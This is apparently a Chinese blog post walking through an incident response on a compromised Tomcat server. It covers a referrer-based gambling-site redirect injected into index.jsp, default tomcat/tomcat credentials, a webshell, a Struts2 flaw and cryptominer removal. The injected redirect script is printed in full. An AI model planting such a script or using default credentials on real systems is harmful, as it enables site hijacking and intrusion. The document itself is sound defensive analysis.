一、事件描述:

某公司运维人员小李近期发现,通过搜索引擎访问该公司网站会自动跳转到恶意网站(博彩网站),但是直接输入域名访问该公司网站,则不会出现跳转问题,而且服务器CPU的使用率异常高,运维人员认为该公司服务器可能被黑客入侵了,现小李向XX安全公司求助,解决网站跳转问题。

二、应急响应过程

2.1 查找植入暗链的代码

通过运维人员提供的信息:“通过搜索引擎访问该公司网站会自动跳转到恶意网站(博彩网站),但是直接输入域名访问该公司网站,则不会出现跳转问题”,可以判断出,网站首页已经被植入了暗链,那么可以先查看网站首页 index.jsp文件的代码

使用命令

find / -name index.jsp

查找服务器上所有的index.jsp文件

查找结果如下图所示,通过返回的信息可以得知:

1、公司首页的源码放在了tomcat的ROOT目录下

2、tomcat中存在一个struts2框架

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务


接下来查看 /opt/tomcat9/webapps/ROOT/index.jsp

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_02


在index.jsp文件中发现了一段可疑的javascript代码

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_03

<script type="text/javascript">
var search=document.referrer;
if(search.indexOf("baidu")>0||search.indexOf("so")>0||search.indexOf("soso")>0||search.indexOf("google")> 0||search.indexOf("youdao")>0||search.indexOf("sogou")>0)
self.location="https://www.XXXXXXXX.com";
</script>

此段javascript代码的意思是:通过搜索引擎百度、搜搜、谷歌、有道、搜狗访问该文件,都会跳转到 https://www.XXXXXXXX.com 网站,结合运维人员描述的情况,可以确定首页被植入暗链的位置正是此处。

2.2、查看访问日志

2.2.1 发现弱口令

tomcat的日志都在tomcat安装路径下的logs目录下

本次案例在:/opt/tomcat9/logs/,其中access_log是用户访问网站的日志

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_04

tomcat日志格式:

例如:192.168.248.1 - - [14/Aug/2017:19:39:20 -0700] “GET /cms/jeeadmin/jeecms/index.do HTTP/1.1″ 200 555
而与之对应的pattern是:pattern=”%h %l %u %t “%r” %s %b”

%h 为远程主机名(若无法获取主机名亦可为远程主机IP)对应192.168.248.1
%l 为远端登录名(由identd而来),除非IdentityCheck设为"On",否则将得到一个"-"
%u 为远程用户名(根据验证信息而来),若不存在得到一个"-"
%t 为时间,用普通日志时间格式(标准英语格式) 对应[14/Aug/2017:19:39:20 -0700]
" 为双引号"的实体编码
%r 为请求头第一行(包括HTTP方法和请求的URI),对应GET /cms/jeeadmin/jeecms/index.do HTTP/1.1
%s 为HTTP响应状态码
%b 为发送信息的字节数,不包括HTTP头,如果字节数为0的话,显示为-

首先查看2021-02-24的访问日志,内容很少,大多数都是127.0.0.1本地访问的,只有几条是IP地址192.168.184.128访问的

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_05


一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_06


但是再查看的过程中,发现IP 192.168.184.128访问了tomcat的默认管理页面,并且以用户tomcat登录了管理页面

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_07


接下来我们查看tomcat管理页面登录的配置,是否存在弱口令

cd /opt/tomcat9/conf
cat tomcat-users.xml

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_08


可以看到使用的是默认账号密码 tomcat/tomcat 存在弱口令

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_09


那么我们查看一下全部的日志文件,都是有哪些IP成功登录tomcat的管理后台了

cat localhost_access_log.20* | grep tomcat

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_10


得出结论:

通过查看全部的日志,发现只有IP192.168.184.128成功登录了tomcat的管理后台(可疑行为记录保存)

2.2.2 发现扫描行为

接下来查看2021-02-25的访问日志,内容很多,通过日志信息可以看出,IP:192.168.184.146 的用户访问了很多的文件,而且文件很多都是不存在的,返回状态码为404,可疑确认IP:192.168.184.146 在对网站进行扫描行为(可疑行为记录保存)

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_11


一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_12


接下里统计一下每个IP访问的次数

cat localhost_access_log.20* | awk '{print $1}'|sort -r -n |uniq -c

可以看到IP:192.168.184.146、192.168.184.1的访问次数较高

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_13


那么首先查看一下 192.168.184.146 访问记录

cat localhost_access_log.20* |grep 192.168.184.146

可以看到IP:192.168.184.146 的访问很多不存在的文件,返回状态码都是404,可以推断该IP是在进行扫描行为(可疑行为记录保存)

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_14


接下来查看一下 192.168.184.1 访问记录

cat localhost_access_log.20* |grep 192.168.184.1|grep HEAD

可以看到IP:192.168.184.1 的访问很多不存在的文件,返回状态码都是404,可以推断该IP是在进行扫描行为(可疑行为记录保存)

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_15


得出结论 :

IP 192.168.184.1、192.168.184.146 都对该网站进行了目录扫描

2.2.3 发现webshell与网站漏洞

接下来查看192.168.184.1所有的访问记录中,是否存在可疑文件

命令:

cat localhost_access_log.20* | grep 192.168.184.1

发现192.168.184.1在进行扫描行为后,访问了config.jsp文件与tx.jsp文件,以及struts2-showcase文件

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_16


一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_17


查看config.jsp文件内容: config.jsp是webshell

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_18


查看tx.jsp文件 :发现已被删除

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_19


**使用工具检测struts2框架是否存在漏洞:**存在漏洞

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_20


得出结论 :

1、存在webshell:config.jsp

2、struts2框架存在高危漏洞

2.3 查找并清除挖矿程序

通过运维人员提供的信息:“服务器CPU的使用率异常高”,可以判断出,服务器已经被植入了挖矿程序。

2.3.1清除定时任务

使用top命令查看CPU的使用率

发现存在PID为20338的异常进程 sysupdate

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_21


使用命令kill -9 20338 关闭该异常进程

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_22


没想到过了一会儿 sysupdate 异常进程又重新起来了(猜测可能存在守护进程或者定时任务)

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_23


查看定时任务:

crontab -l ,果不其然,存在定时任务,每30秒运行一次update.sh文件

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_24


那么就删除定时任务crontab -r

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_25


发现无法删除

文件无法删除,那么我们查看一下是否有隐藏权限:

lsattr root

如下可以看到当前文件被加入隐藏权限:

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_26


使用命令:​​chattr -i root​​ 修改权限后,还是不能删除root定时任务

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_27


因此考虑是否为上级目录加入了权限导致该文件不可删除,我们返回上一级目录重复执行 lsattr 命令

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_28


可以找到在上级的 /cron目录被加入了隐藏权限,使用chattr命令修改权限

chattr -i  cron

隐藏权限取消掉之后我们再进行定时程序删除

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_29

2.3.2 清除挖矿程序

查看关联进程从上面的top命令知道了个用比较大的进程号,我们可以根据其中的某个进程,比如21001入手,来查找其他关联的进程

使用以下命令,如下图所示

systemctl status 21001

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_30


一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_tomcat_31


根据关联进程提示,进入到/etc目录下

在/etc/目录下,使用ls 查看所有的文件

发现有sysupdate、networkservice、sysguard、update.sh、config.json 五个文件,其中sysupdate、networkservice、sysguard三个文件都是二进制文件 比较大,这三个应该就是挖矿的主程序和守护程序。还有一个update.sh文件,这应该是对挖矿程序升级用的。

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_32


这个update.sh在定时任务中也有提示

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_定时任务_33


那么清除挖矿程序:删除/etc下面的 sysupdate、networkservice、sysguard、update.sh和config.json几个文件

这时候,你可能会发现无法删除,因为挖矿程序使用了chattr +i 命令(禁止对文件的增删改查),那么使用如下命令取消该权限后,即可删除

chattr -i update.sh
rm -rf update.sh

chattr -i networkservice
rm -rf networkservice

chattr -i sysupdate
rm -rf sysupdate

chattr -i sysguard
rm -rf sysguard

chattr -i config.json
rm -rf config.json

清楚完挖矿程序文件后,使用命令:kill -9 PID (异常程序PID号)
之后等待几分钟,CPU都使用正常,无异常进程了,挖矿程序清除成功

一次真实的应急响应案例——篡改页面、挖矿(sysupdate、networkservice)(含靶场环境)_运维_34

三、总结

1、存在弱口令 tomcat/tomcat 192.168.184.128 成功登录
2、IP 192.168.184.1、192.168.184.146 都对该网站进行了目录扫描
3、存在webshell:config.jsp
4、struts2框架存在高危漏洞
5、清除挖矿程序

猜测是通过弱口令或者struts2框架漏洞进入,上传webshell与挖矿程序,并且执行挖矿程序